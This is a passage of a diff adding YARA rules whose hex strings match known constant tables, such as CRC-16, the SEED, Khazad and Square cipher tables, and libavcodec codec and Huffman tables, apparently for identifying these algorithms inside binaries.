a040000000000007d06000000000000400d000000000000870b000000000000ce0000000000000009070000000000005c0c0000000000009b0a000000000000d2010000000000001504000000000000780f000000000000bf09000000000000f6020000000000003105000000000000640e000000000000a308000000000000ea030000000000002d020000000000003009000000000000f70f000000000000be0400000000000079030000000000002c08000000000000eb0e000000000000a2050000000000006500000000000000080b000000000000cf0d00000000000086060000000000004101000000000000140a000000000000d30c0000000000009a070000000000005d0e000000000000a00500000000000067030000000000002e08000000000000e90f000000000000bc040000000000007b020000000000003209000000000000f50c00000000000098070000000000005f01000000000000160a000000000000d10d000000000000840600000000000043000000000000000a0b000000000000cd0a000000000000d00100000000000017070000000000005e0c000000000000990b000000000000cc000000000000000b06000000000000420d0000000000008508000000000000e8030000000000002f05000000000000660e000000000000a109000000000000f40200000000000033040000000000007a0f000000000000bd }
+
+condition:
+	$a0
+}
+
+	
+rule PSX_VAG_f_decoder__flt32___32_lil_40_
+{
+strings:
+	$a0 = { 00000000000000000000703f000000000000e63f000050bf0000c43f00005cbf0000f43f000070bf }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_CCITT_poly_0x1021__16_big_refl_False_
+{
+strings:
+	$a0 = { 0000102120423063408450a560c670e781089129a14ab16bc18cd1ade1cef1ef123102103273225252b5429472f762d693398318b37ba35ad3bdc39cf3ffe3de246234430420140164e674c744a45485a56ab54b85289509e5eef5cfc5acd58d365326721611063076d766f6569546b4b75ba77a97198738f7dfe7fed79dc7bc48c458e5688678a70840186128023823c9ccd9ede98ef9af89489969a90ab92b5af54ad47ab76a961a710a503a332a12dbfdcbdcfbbfeb9e9b798b58bb3bab1a6ca67c874ce45cc52c223c030c601c41edaefd8fcdecddcdad2abd0b8d689d497e976eb65ed54ef43e132e321e510e70ff9fefbedfddcffcbf1baf3a9f598f78918881a9b1caa1ebd10cc12df14ee16f108000a130c220e3500440257046606783b99398a3fbb3dac33dd31ce37ff35e02b1129022f332d24235521462777256b5eaa5cb95a88589f56ee54fd52cc50d34e224c314a004817466644754244405a7dbb7fa879997b8e75ff77ec71dd73c26d336f2069116b06657767646155634d94cc96df90ee92f99c889e9b98aa9ab584448657806682718c008e1388228a3cb7ddb5ceb3ffb1e8bf99bd8abbbbb9a4a755a546a377a160af11ad02ab33a92fd2eed0fdd6ccd4dbdaaad8b9de88dc97c266c075c644c453ca22c831ce00cc1ef1fff3ecf5ddf7caf9bbfba8fd99ff86e177e364e555e742e933eb20ed11ef0 }
+
+condition:
+	$a0
+}
+
+	
+rule seed_SS3__32_big_1024_
+{
+strings:
+	$a0 = { 08303838c8e0e8280d212c2d86a2a426cfc3cc0fced2dc1e83b3b03388b0b8388fa3ac2f4060602045515415c7c3c407444044044f636c2f4b63682b4b53581bc3c3c003426260220333303385b1b4350921282980a0a020c2e2e02287a3a427c3d3d0138191901101111011060204060c101c1c8cb0bc3c063234364b43480bcfe3ec2f888088084c606c2c88a0a82807131417c4c0c40406121416c4f0f434c2c2c00245414405c1e1e021c6d2d4160f333c3f0d313c3d8e828c0e88909818082028284e424c0ec6f2f4360e323c3e85a1a425c9f1f8390d010c0dcfd3dc1fc8d0d8180b23282b466264264a72783a072324270f232c2fc1f1f0314272703242424002c4d0d41441414001c0c0c00043737033476364278ca0ac2c8b83880bc7f3f4378da1ac2d808080000f131c1fcac2c80a0c202c2c8aa2a82a04303434c2d2d0120b03080bcee2ec2ec9e1e8294d515c1d8490941408101818c8f0f838475354178ea2ac2e08000808c5c1c40503131013cdc1cc0d8682840689b1b839cff3fc3f4d717c3dc1c1c00101313031c5f1f4358a82880a4a62682a81b1b031c1d1d01100202020c7d3d417020200020222202204000404486068284171703107030407cbd3d81b8d919c1d89919819416160218eb2bc3ec6e2e42649515819cdd1dc1d4151501180909010ccd0dc1c8a92981a83a3a0238ba3a82bc0d0d010818180010f030c0f474344070a12181ac3e3e023cce0ec2c8d818c0d8fb3bc3f869294164b73783b4c505c1c82a2a02281a1a02143636023032320234d414c0dc8c0c8088e929c1e8c909c1c0a32383a0c000c0c0e222c2e8ab2b83a4e626c2e8f939c1f4a52581ac2f2f03282929012c3f3f0334941480948707838ccc0cc0c05111415cbf3f83b40707030457174354f737c3f053134350010101003030003446064244d616c2dc6c2c40644707434c5d1d41584b0b434cae2e82a090108094672743609111819cef2fc3e4040400002121012c0e0e0208db1bc3d05010405caf2f83a01010001c0f0f0300a22282a4e525c1e89a1a82946525416434340038581840504101414898188098b93981b80b0b030c5e1e425484048084971783987939417ccf0fc3c0e121c1e82828002012120218c808c0c0b13181b4f535c1f477374374450541482b2b0320d111c1d052124254f434c0f0000000046424406cde1ec2d4850581842525012cbe3e82b4e727c3ecad2d81ac9c1c809cdf1fc3d0030303085919415456164250c303c3c86b2b436c4e0e4248bb3b83b4c707c3c0e020c0e4050501009313839062224260232303284808404496168298393901307333437c7e3e4270420242484a0a424cbc3c80b435350130a02080a87838407c9d1d8194c404c0c838380038f838c0fcec2cc0e0b33383b4a42480a87b3b437 }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_transform_matrix_8x8__32_lil_256_
+{
+strings:
+	$a0 = { 0C0000000C0000000C0000000C0000000C0000000C0000000C0000000C000000100000000F0000000900000004000000FCFFFFFFF7FFFFFFF1FFFFFFF0FFFFFF1000000006000000FAFFFFFFF0FFFFFFF0FFFFFFFAFFFFFF06000000100000000F000000FCFFFFFFF0FFFFFFF7FFFFFF090000001000000004000000F1FFFFFF0C000000F4FFFFFFF4FFFFFF0C0000000C000000F4FFFFFFF4FFFFFF0C00000009000000F0FFFFFF040000000F000000F1FFFFFFFCFFFFFF10000000F7FFFFFF06000000F0FFFFFF10000000FAFFFFFFFAFFFFFF10000000F0FFFFFF0600000004000000F7FFFFFF0F000000F0FFFFFF10000000F1FFFFFF09000000FCFFFFFF }
+
+condition:
+	$a0
+}
+
+	
+rule unlzx_table_three__32_lil_64_
+{
+strings:
+	$a0 = { 000000000100000003000000070000000f0000001f0000003f0000007f000000ff000000ff010000ff030000ff070000ff0f0000ff1f0000ff3f0000ff7f0000 }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_V1__32_lil_1024_
+{
+strings:
+	$a0 = { 6a01bbb966b1e59a14cde2651b51258757a4f7a2be03d0d6b504d6de85feb3524aadfdbae063cf099684091c4d1aa591374d3da75ca3f1aa17e17ba48ef9b55a20ac46038411c4e668c255cca80ddcc6d099aa8541aafbb20f9cc7e2ae55f359c120febea2e5ad7acc7fd7290ae871bce63be096db9eac8d152295d1aace32b37393704b3bfd638452d041fc1ce67dac789476436106bdb1f1da9b32e5177957b35cf941564b8016c20c677f7ecc59dc9f40e161c3e310cb2f3081e1160e0c10675e922e3f66a26ecf534ee89c6c78a00e73b0569a34573fed3ce69e358ed3d22380dfc2d72ef2ae486e13cf6c5994265e601fdf049bc1eaf31975473e89d5daefff08eb47f2d42db7c738ab11b9543b36a24a1326f4699cee107f5f8b8d0304e34f56c89447e769deea1ad3ba98113c692d227831151238fd6ac5119bdb208b58383040976b7ea87f232e682c1c18200b070608ab214507ca27f8b60d5f299764720befdc29f4a6b2b38ef58a6274b0a4bd82e5fc85b2a5f81e734f95a890dd7708b1a12a4437bf3da54c1bea8bbeb56db6e3923c4a3baf727c07ff9d830f14214331b7b19f1734e4f80ee333d6fc4dafba84ed2887d9ca4cf5d225c0cf890a74242860a026430fdf056d678c3a5b2f1d090a18187dbc467bb8ef829918cefef035ec861295cdfafb32ea8ebd2f4917921fc8f683a69ccd4b428a0eb9b488fd90dc268363c553c4a552f55101ef77b41abe52337c0fb7a9226fa876f66dc319d4026b6fbfeca762d176dd31c778d121b6284f1f4e363c50cbc88f02c8e416c3032c99c16beecc0d4981647b0cb05e23461da39938d1fa45e2a0217ca67e6c90f4ae2d6cf5415ad8622a247060e9ca05f9f104fbddc6831276e7c61571509e3ea9e2ab7209c4e87d8dd52c9b54886e631e2593d925d8f05d816572b8ffa92b64fe465cd0ac961d2cbcc03ea3a7911b24533f364840458c06d8b2354c98f7b94a659d7c5b1fcae46d428662736e9a7a532bab400b59d747f4b85bff49d25a44f0cebc395c873d5d27000000005afbde35f2f602f3d5ed1cdb75cb5fd445313a585f8f686b1056238f07b7582be18cb8bdc697a6958f16c2eea30adaced3b53344556719d7eb64c901a1c934bb2edff655cd90a09d88a19ac530fa658c86d22a932968ae7ead796a983a121430271b1e283461a466bb77668806582f9f436915c7797b01f76f750de7f782b4adc45448e09eaf96d51992cbf2e84850c070bfe98a393e8df1243787e951fcd83d7de0c01d32398bf94fd94be4894eed71137aba4ed6c1851a91335137b0706080082b9fc9c5bb3f54e7d4972244de4dec0574b65eb4eba16a5b14a981808a050c02c3ee755013af892df36f94c90b6177fadd9d3a7a5798368249eb79e9a7277493f0bf42d95d42f85d4c861eda71db39ecd3912a }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_Phi_Fract_Qmf__flt64___64_lil_1024_
+{
+strings:
+	$a0 = { 34e70460482eea3fdaac01607166e23f9f9006c04be3d0bf06db0180a7ddee3f1c2e0320bfe6efbf8e60d93fe515b43f8fc8f65f4056dabf62060340372aedbf14670000e4fae63f7d1603e0ea44e6bffac90560a4bcec3f74a506a0f627dc3f5e2500408c17bcbf3de9ff3f87ceef3f06db0180a71defbf16dc17a089e1cd3f492504409891e1bf5b6f0520efbeeabff2b60180a436e33fd8c1f93f0497e9bf00b4fe3fdb95ee3f92f6fe7f8ed1d23f41401e40561ea83f9b3a01e0e7f6ef3f6d7affbf6b90edbfe386f49fe27dd83f3061fa7f5189e5bfd05701e00eabe7bf8cf703e08ff2dd3f917d03e0ce47ecbf64a6022046aeef3f0d97f13f0d09c23ff7de0820eff4c93f0297fe1fcb55ef3f46160300d448ebbf72c2fbdf4eb8e03fd347fb3f49f9e8bf8bc7fedffc01e4bf94f5fa1f10bbd43f07aefcbf5446eebfaf040240fdfeef3f8049513f941590bf60aff9ff549fd63f92ae016028efed3f722900e03e55e8bff877f93f47c8e43f9704fc5fd4cbebbf1146fd3f98b5dfbfb40af7dfc501c63f7fc0fcff0386efbf7fc0fcff0386ef3fb40af7dfc501c6bf1146fd3f98b5df3f9704fc5fd4cbeb3ff877f93f47c8e4bf722900e03e55e83f92ae016028efedbf60aff9ff549fd6bf8049513f9415903faf040240fdfeefbf07aefcbf5446ee3f94f5fa1f10bbd4bf8bc7fedffc01e43fd347fb3f49f9e83f72c2fbdf4eb8e0bf46160300d448eb3f0297fe1fcb55efbff7de0820eff4c9bf0d97f13f0d09c2bf64a6022046aeefbf917d03e0ce47ec3f8cf703e08ff2ddbfd05701e00eabe73f3061fa7f5189e53fe386f49fe27dd8bf6d7affbf6b90ed3f9b3a01e0e7f6efbf41401e40561ea8bf92f6fe7f8ed1d2bf00b4fe3fdb95eebfd8c1f93f0497e93ff2b60180a436e3bf5b6f0520efbeea3f492504409891e13f16dc17a089e1cdbf06db0180a71def3f3de9ff3f87ceefbf5e2500408c17bc3f74a506a0f627dcbffac90560a4bcecbf7d1603e0ea44e63f14670000e4fae6bf62060340372aed3f8fc8f65f4056da3f8e60d93fe515b4bf1c2e0320bfe6ef3f06db0180a7ddeebf9f9006c04be3d03fdaac01607166e2bf34e70460482eeabfdaac01607166e23f34e70460482eeabf06db0180a7ddee3f9f9006c04be3d03f8e60d93fe515b43f1c2e0320bfe6ef3f62060340372aedbf8fc8f65f4056da3f7d1603e0ea44e6bf14670000e4fae6bf74a506a0f627dc3ffac90560a4bcecbf3de9ff3f87ceef3f5e2500408c17bc3f16dc17a089e1cd3f06db0180a71def3f5b6f0520efbeeabf492504409891e13fd8c1f93f0497e9bff2b60180a436e3bf92f6fe7f8ed1d23f00b4fe3fdb95eebf9b3a01e0e7f6ef3f41401e40561ea8bfe386f49fe27dd83f6d7affbf6b90ed3fd05701e00eabe7bf3061fa7f5189e53f }
+
+condition:
+	$a0
+}
+
+	
+rule Standard_huffman_HuffFreq_table__0_14473691___flt64___64_lil_2048_
+{
+strings:
+	$a0 = { 28af7c33bd86c23f1f8a3c28ac7d873f694e45c761725b3f1a560ae4869da33fe2a2e6ed00366d3f7a5798199183a33f04743ec083345d3f1b074590d65a603f7cdfcf5b02115e3f2d07388c9b7d623fdf72501d064e613f0f389e119d4c693fcdf9b537f0515c3f240e9724e8925e3f4cedb90a31b0613f3819d14dcdab5b3fe9dd71edb89f5b3f2518d6a614e8613f0cbb2009984c673ffb09259bc4835a3fe21b8ed7510f603f8c15148a9dbe583f34181ba13c7f5c3fe761b2028de3613fc7faa3fb7b21833f4f80176cd910623faf8eebf8923a6f3fe9201aa396625e3f0dde57e542e55f3fa2a754cbce895a3ff8dcae3ced955e3ff1b6f3799cd45d3f93a8f66db170b03fb2d2284d1807763f8da51f3fe10d753fbdace4be30f4733fb9e177d32d3b743fbc74d534d69b743f8da51f3fe10d753faca2e47a8093723f040452e60f9b723fa0d2355153e4733fe4a21828424d713ff7606b191d4e783f7448c55ad7c3723facf10488a3276c3fb61876f784156c3f5e3bc56825c6753f0268efe76f9d6a3fe6833332a74f6b3fd1817a6d1548693fe6aff3e3ed10683f48f68c6de735653f597bc829743d653f05977d0d77e46e3f96f9dc43a1e9653f84a061395ba3623f7130a3710b0a713f5557d32ff060643f337a241411b4683fcaec5eb4e819623f61acca19e5f4603facda1c840c26663f987fdbb0f9fa623f12f7bb248c6e663f3b5d0ea25278723f6d0d5b69087d6f3f8f428ae874ac743ffe42f242f81f623f31c865f571e16e3f0ac5b1892716633f1cf26ce2269b693fe8789a0624e5673ff7dba691f9f4663ff8299674f7ad643f3ac1065d25cc623fc1a3b6a2071d683fd2fb29025ac2633f01738813f3076e3f59bd68345e5f603f1467da38411f653f01d64fa4a080623f35a8aa8e245a653f95536dfd15ae5e3f3639422700d6653f171018f38ce0633f1bf1643733fa613f2f5737c580785f3ff1b6f3799cd45d3ff92c74ca4862963f57dfe96378cb593fed5066e676ed5a3f0431960aa6715a3fe48ecc5d2aba5e3f010420acce835e3fb07690ae0418a13f47180e9d01a25e3f87e5c746bd335c3f9aced23eeb54583f225bd05a551f5d3fd8bc056dcdb1573f5261ae3d9a875f3f51fcd65605cd5b3ffc20c3114128613ffc20c3114128613f1cc5a485ec38653f664028b538df5f3f40f252dab0e05d3f75e5d44af8105a3f7633c42df6c9573fcf52ec470e01553f30d1e659c5f2593f42d1d9558a155c3fa4019bf728f1633fcdf9b537f0516c3fefc084fa2b9e593f40db6ad619df573f61065bd359b9593f51a2469d9008633f0813f36a8843593fff3971dea40e573fd1975ac6b8a8673f51b92ea1270a593f1ff3228fb7c7583f9b6bc120237f643fbcc161b36d62623f273b0d83bf805a3f2cae7d43d9427d3f5e46351577f6b43f2ea381ed9a6f803f743d55ae8593533f2c28b110c248543fc0bbaec2dad6ac3f6c65dbcc95ff683f758b4491834c513ffa1efd487443513f7d9086cfad42503f9e58af3b40a44d3f369d1163a1ef513f38bf409458e7523f109c6d4d3e66653f495a5ca9884f513fc99e6fd1ea60543fe5aeeb38fa6f503f459c4eb2d5e5543f1330d359da674d3f6c4ffb73f29e5a3faf5692e11d85503f7a0049e028dc4f3fbe8b108197d7493f7b2068bbf891513f4cd9f178bda84b3fa947bf2264c5653f96b6348ec326533f0a83117f3df4473fc79052bfc1cd483f33ca2bbe3ec64e3f5816f142df82513f120ea42823704c3f90be49d3a0685e3f11d508bb30eb783fee5bad1397e3553fc79052bfc1cd483f52c475ce4700543f651e543df438773f27e17cc94abc513f6b0004e60045653f3444db528340493fa8cd0f8e1f4b5b3ff6ba7f0b369e4d3faf8462e94b884c3f100bce431ad34b3f3c0675dbcf73553f9880e35bed9b5a3f38aa68e6a8274c3ff8dcae3ced954e3f8c2cfc8d34c04e3f920f0f9ba7be4c3f27e17cc94abc513f0c4bb0f67f27503fb4eaef7c716f4f3f53e62838a383713f940e5a38de57743f1c98dc28b2d6503ff0511c93071a5a3f0c1ff0443966533f42e6b1033ad5523f04466eb85531513fafb0229b9249593f8ef49a0577f3563f0267e73c7cfc523f1928be14fd25523f9d846fed86655a3fb3851896dcb45b3f1997267c21aa513f3f4ad33d3e63573f7c6f5f49eaeb663f38aa68e6a8274c3ff83f76cd9a0e533f743d55ae8593533ff25c63c02710553f0a83117f3df4573ff7f186ea9c55553f0ddc478f5ba3503f945097180d114e3f715387058c685a3f05fa449e245d633f15f871d11c9b553f699b2cff6b8a613f3acc9717601f4d3f2ffda60b0cb4563f027dc7951f5d613f82058b1e53d24e3f08068c05f0dc4c3f1655d86f9afc4e3fa77f20ab21924d3f13020352ac64513f44f30887410d4d3f339c5bb610c3523f0d4dc04c67694f3ff18823726ed1513f4e322889db57543f666cc758967d713fc42034ab0c1d5a3f3daef47742f15b3f212d0053271c513f1e5a1aaec4f24d3f65af901c5d634f3f6eebd939ee10563f2ac2139b0b334f3f9895bb099d5b513f2aa3ba4e5dd84e3f5398b51c013f573faa52065084bb503f2fe6be0775b2503f5e24fe7277e74a3f04a0fe71caf5593f74faacf8a7d0503f89e89d2bc6d04c3f751195fc3ed2563fda398be61ac9523fc738d25b344b4f3f31627ef2a06e5a3fb14c01618ebb543f5011af04b58c523f848a81e0b742543fb47977bf65a9503f01d64fa4a080523f372fb1a6700c6a3ffdbceb6457f74b3fd260095a3794503f74da8d1dd81a5f3f1d2974c18d52513f9f7ade6cf79b5e3f0b2b911bb0714e3f221828a5775c5a3f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_mjpeg_val_ac_chrominance__8_byt_162_
+{
+strings:
+	$a0 = { 000102031104052131061241510761711322328108144291a1b1c109233352f0156272d10a162434e125f11718191a262728292a35363738393a434445464748494a535455565758595a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8e9eaf2f3f4f5f6f7f8f9fa }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_5__16_big_16_
+{
+strings:
+	$a0 = { d51bf12e042e13c72260311b40de5385 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_syn_bw_tab__flt32___32_lil_144_
+{
+strings:
+	$a0 = { 00007d3f00097a3fe51a773f9435743ff358713fe8846e3f59b96b3f2df6683f4a3b663f9888633ffedd603f643b5e3fb2a05b3fd00d593fa782563f1fff533f2283513f990e4f3f6da14c3f893b4a3fd6dc473f3f85453faf34433f11eb403f50a83e3f576c3c3f12373a3f6d08383f54e0353fb3be333f77a3313f8d8e2f3fe17f2d3f61772b3ffb74293f9c78273f }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book10__32_big_2028_
+{
+strings:
+	$a0 = { 00000000000000060000002200000001000000050000000800000002000000060000001d00000003000000060000002600000004000000070000005f0000000500000008000000d30000000600000009000001cf000000070000000a000003d0000000080000000a000003d7000000090000000a000003ed0000000a0000000b000007f00000000b0000000b000007f60000000c0000000c00000ffd0000000d00000005000000070000000e00000004000000000000000f00000004000000010000001000000005000000090000001100000006000000200000001200000007000000540000001300000007000000600000001400000008000000d50000001500000008000000dc0000001600000009000001d4000000170000000a000003cd000000180000000a000003de000000190000000b000007e70000001a000000060000001c0000001b00000004000000020000001c00000005000000060000001d000000050000000c0000001e000000060000001e0000001f000000060000002800000020000000070000005b0000002100000008000000cd0000002200000008000000d90000002300000009000001ce0000002400000009000001dc000000250000000a000003d9000000260000000a000003f100000027000000060000002500000028000000050000000b00000029000000050000000a0000002a000000050000000d0000002b00000006000000240000002c00000007000000570000002d00000007000000610000002e00000008000000cc0000002f00000008000000dd0000003000000009000001cc0000003100000009000001de000000320000000a000003d3000000330000000a000003e700000034000000070000005d00000035000000060000002100000036000000060000001f0000003700000006000000230000003800000006000000270000003900000007000000590000003a00000007000000640000003b00000008000000d80000003c00000008000000df0000003d00000009000001d20000003e00000009000001e20000003f0000000a000003dd000000400000000a000003ee0000004100000008000000d10000004200000007000000550000004300000006000000290000004400000007000000560000004500000007000000580000004600000007000000620000004700000008000000ce0000004800000008000000e00000004900000008000000e20000004a00000009000001da0000004b0000000a000003d40000004c0000000a000003e30000004d0000000b000007eb0000004e00000009000001c90000004f000000070000005e00000050000000070000005a00000051000000070000005c0000005200000007000000630000005300000008000000ca0000005400000008000000da0000005500000009000001c70000005600000009000001ca0000005700000009000001e0000000580000000a000003db000000590000000a000003e80000005a0000000b000007ec0000005b00000009000001e30000005c00000008000000d20000005d00000008000000cb0000005e00000008000000d00000005f00000008000000d70000006000000008000000db0000006100000009000001c60000006200000009000001d50000006300000009000001d8000000640000000a000003ca000000650000000a000003da000000660000000b000007ea000000670000000b000007f10000006800000009000001e10000006900000008000000d40000006a00000008000000cf0000006b00000008000000d60000006c00000008000000de0000006d00000008000000e10000006e00000009000001d00000006f00000009000001d6000000700000000a000003d1000000710000000a000003d5000000720000000a000003f2000000730000000b000007ee000000740000000b000007fb000000750000000a000003e90000007600000009000001cd0000007700000009000001c80000007800000009000001cb0000007900000009000001d10000007a00000009000001d70000007b00000009000001df0000007c0000000a000003cf0000007d0000000a000003e00000007e0000000a000003ef0000007f0000000b000007e6000000800000000b000007f8000000810000000c00000ffa000000820000000a000003eb0000008300000009000001dd0000008400000009000001d30000008500000009000001d90000008600000009000001db000000870000000a000003d2000000880000000a000003cc000000890000000a000003dc0000008a0000000a000003ea0000008b0000000b000007ed0000008c0000000b000007f30000008d0000000b000007f90000008e0000000c00000ff90000008f0000000b000007f2000000900000000a000003ce0000009100000009000001e4000000920000000a000003cb000000930000000a000003d8000000940000000a000003d6000000950000000a000003e2000000960000000a000003e5000000970000000b000007e8000000980000000b000007f4000000990000000b000007f50000009a0000000b000007f70000009b0000000c00000ffb0000009c0000000b000007fa0000009d0000000a000003ec0000009e0000000a000003df0000009f0000000a000003e1000000a00000000a000003e4000000a10000000a000003e6000000a20000000a000003f0000000a30000000b000007e9000000a40000000b000007ef000000a50000000c00000ff8000000a60000000c00000ffe000000a70000000c00000ffc000000a80000000c00000fff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_h261_tcoeff_vlc__16_lil_260_
+{
+strings:
+	$a0 = { 020002000300020004000400050005000600070026000800210008000a000a001d000c0018000c0013000c0010000c001a000d0019000d0018000d0017000d000300030006000600250008000c000a001b000c0016000d0015000d0005000400040007000b000a0014000c0014000d0007000500240008001c000c0013000d00060005000f000a0012000c000700060009000a0012000d00050006001e000c000400060015000c000700070011000c000500070011000d002700080010000d002300080022000800200008000e000a000d000a0008000a001f000c001a000c0019000c0017000c0016000c001f000d001e000d001d000d001c000d001b000d0001000600 }
+
+condition:
+	$a0
+}
+
+	
+rule Zodiac_SS3__32_lil_1024_
+{
+strings:
+	$a0 = { 000000120000004a00000026000000c8000000d200000062000000ce000000e70000002e000000c3000000fb0000007c00000065000000480000008f000000b8000000760000003d000000a50000008e0000008600000057000000bd000000bc0000001f000000ef0000000c000000e00000007800000071000000110000007500000095000000d90000009b0000009e000000b9000000a4000000f7000000020000007f00000080000000830000007e000000be0000005600000096000000730000009f000000880000002a00000014000000890000009a000000f9000000dc000000320000006d000000de0000006a0000008400000072000000d80000008a000000d7000000e3000000080000004e0000001e000000b30000005d00000050000000d6000000eb000000b10000000d000000cf000000ad000000c60000000e0000007d000000a0000000dd0000009c000000410000001c000000cd0000001a00000038000000340000005b00000023000000030000008c00000068000000460000005300000004000000a900000027000000ac000000e60000001b000000fc0000002f000000a30000000b00000028000000e40000000f000000da000000d4000000c4000000d5000000940000008b000000900000006b0000009d000000f8000000ae000000630000007a00000007000000e2000000ea000000c5000000db0000009800000015000000c10000000a000000a2000000c200000030000000440000005a000000f10000003a0000006e000000a8000000c9000000550000004d000000200000006f000000f200000035000000590000001900000077000000bb000000920000006c0000002c000000450000006600000042000000f30000003900000029000000c0000000e80000004f000000e5000000c7000000b0000000e10000008d000000f600000000000000010000007b000000d1000000cb00000052000000fd000000cc000000580000003f000000ee000000b2000000ff00000040000000aa0000004b00000074000000b4000000600000005f000000990000002b00000091000000df000000f400000047000000210000003b0000003300000093000000af000000d3000000160000005e000000360000004300000049000000a6000000d000000006000000b6000000700000008100000082000000a1000000fa000000970000008500000079000000b7000000ba0000003c00000010000000b5000000ab00000013000000a700000064000000e900000009000000540000002500000037000000670000001d000000fe000000f5000000690000002d0000003100000022000000f0000000180000003e000000610000001700000051000000ec00000005000000ca000000ed0000005c00000087000000bf0000004c00000024 }
+
+condition:
+	$a0
+}
+
+	
+rule Square_crypto_algorithm_T_decoding__32_big_4096_
+{
+strings:
+	$a0 = { e368bc025585620c2a3f233161ab13f798d46d7221cb9a193c22a461459d3dcd05fdb4232bc4075f9b2c01c03dd9800f486c5c74f97f7e85f173ab1fb6edde0e283c6bed4997781a9f2a918dc9579f33a907a8aaa50ded7d7c422d8f764db0c94d91e857cea963ccb4ee96d23028e1b60df161b9bd196726419bad80c0a06ec75183f24192dbf0346fa21efc8f32ce4c13e0337369a7c66de56d6493bf1a2ffabb1cbfb7587403b5e76e2c4f5d89b796e89c052a446619a3342e71fb0ff22965fe81827ab11322f1a30835eccd510f7eff7aa6145c7293f82fc29712f370e3c3992f491cd1431568c2a3261b88cc32b38acf7a6fb0e8069f7a47f51ed2bb79dae69508214398e55cd0b8310611e37baf7e416553ccaa2b10d8b4e49c6456a7d4fb7c3659724b2084ea9f4df66a5faadf2dc1dfce70486858caaff3810605d8915a774b6994de28a539df1042813bc347fc82caa623c8d2c503f86cb2080cd59adab7ac407db909e13824342ccf5247a2dcb274d163a85b2b35d55595479e751115e5ebe24b9430c64a6f14a891239c864c6acc395f8aff4a0406904dee99ddbb1e1152caaaffc418eb64699807fefcff8b345e01567d0ebebae79bd94263c13275b5dc7b9726441767aecb6695250ccbec9a956757862ad060503799b8e4d30565ad83ba19efae35a4f6c913c15b4aa9873e1bd6a0f0595e18148a5baf02703bab04e076dd4950bfdf4a1863c6a5b656853d530afa87123777b694a74665517fed61b1091bece6e9d5458525f5753b527fba413d27ce4288b2eb4e43d6bde997527b9ef362537f452c3afba07bbcd170b91ff76b121b171dfd79eec83a277cf00c0a45d796dd60792233f6abacfa1c89c8acbb5da10b7d30d4bea14bbee10b9425cd0a54547e4662a2f3118217e6a33e263566e6c358027583388b9b7844bdc2020348dc4f92a08b2e39b37c4e6984e5f0888f71362d39279cd2fd3f01fb246e893716dd00000000f68d57e0e293986c744ef8159320d45aad0138e7d3405db41a17c287b3106a2d5078d62ff48e1f3ca70ea5a171b34c369ad725ae5e71db24161d8750ef62f9d58d3186901c121a16a6f581cf5b8c6f0737d61d496e593a9284c6776486c53fb8d746cdf9e090d0b029c74f83e49640fd0e090d0b6da156208ec9ea22db4c882ef776738eb515b2bc10185fc1322ba96a6ba48eb1aef95455406089ee6655ef08e96721443e21ecbd2030be77f28bc7ad80c0e729141ecf8cbce24348c4a6fe8a31d3c5d8b716fa605380ba9dd94fc0f21de93e7824362e3ae16bf4decb54d7ef09f7f1f482c3aff50bf4b9289d29d951c75e9238f8845aeb90d8b8e8deb13c0d33d08d04685ce203c55ddae43bdc589e0a0f9d463fdac8d3598f27dba8fc8cc479bf99ac6c5a724e8ccaa2fe9ed1b5e31fea76a473b004ea02e368bc0c558562312a3f23f761ab137298d46d1921cb9a613c22a4cd459d3d2305fdb45f2bc407c09b2c010f3dd98074486c5c85f97f7e1ff173ab0eb6eddeed283c6b1a4997788d9f2a9133c9579faaa907a87da50ded8f7c422dc9764db0574d91e8cccea963d2b4ee96b63028e1b90df16126bd196780419badc7c0a06e415183f23492dbf0fc6fa21e4c8f32ce7313e0336d69a7c693e56d64fabf1a2fb7bb1cbfb55874034fe76e2c965d89b72ae89c05a3446619fb342e71650ff2297afe8182f1b11322eca308357ecd510f14ff7aa6f85c7293122fc297c3f370e31c992f4968d143151bc2a326b388cc326f8acf7a9fb0e8061e7a47f5dad2bb7921e695085c4398e506d0b831af11e37b537e416510ccaa2b9cd8b4e4d46456a759fb7c3684724b20f6ea9f4ddf6a5faace2dc1df5870486881caaff3910605d8695a774ba594de284239df1047813bc3a6fc82cac523c8d2b203f86c9a080cd540dab7ace17db9092c382434a2cf5247d1dcb2742b63a85b9535d55511479e75e215e5ebc64b9430a84a6f148691239c394c6acc4a5f8aff4d040690bbee99ddca1e115218aaffc498eb6469ff07fefc018b345ebe567d0ed9bae79b324263c17b75b5dc179726446667aecbcb95250c67ec9a95d057862a9960503705b8e4d3ba65ad833519efae13a4f6c9a9c15b4ad6873e1b5ea0f0595b18148a3baf027076ab04e0bfdd495063df4a1856c6a5b60a853d5337fa8712a777b6947f46655109ed61b1e91bece625d5458552f5753b3d7fba418827ce4243b2eb4e97d6bde9f3527b9e4562537fa02c3afb707bbcd16bb91ff71d121b17c8fd79eef03a277cd70c0a457996dd60ab2233f689acfa1c5dc8acbb30a10b7d4bd4bea194bee10b5425cd0a62547e4682a2f3113e17e6a3e626356675c358029b83388bc27844bddc0203488b4f92a07c2e39b3e54e698471f0888f27362d393f9cd2fd6e01fb24dd89371600000000e0f68d576ce2939815744ef85a9320d4e7ad0138b4d3405d871a17c22db3106a2f5078d63cf48e1fa1a70ea53671b34cae9ad725245e71db50161d87d5ef62f9908d3186161c121acfa6f581075b8c6f4937d61d926e593a6484c677b886c53ff9d746cdb0e090d08329c74ffde496400b0e090d206da156228ec9ea2edb4c888ef77673bcb515b2c110185f6a322ba9b16ba48e55aef954ee406089086655ef44e96721bd3e21ec772030beadf28bc72980c0e78c141ecf48bce2438ac4a6fed831d3c560b716fa9d5380baf2d94fc0781de93e3a24362edee16bf4efcb54d7f409f7f1f582c3af280bf4b9519d29d938c75e92ebf8845ae890d8b80ddeb13c0433d08d03685ce2e4c55dda9e3bdc58460a0f9dd33fdac8db598f27c4a8fc8cac79bf994e6c5a72fe8ccaa2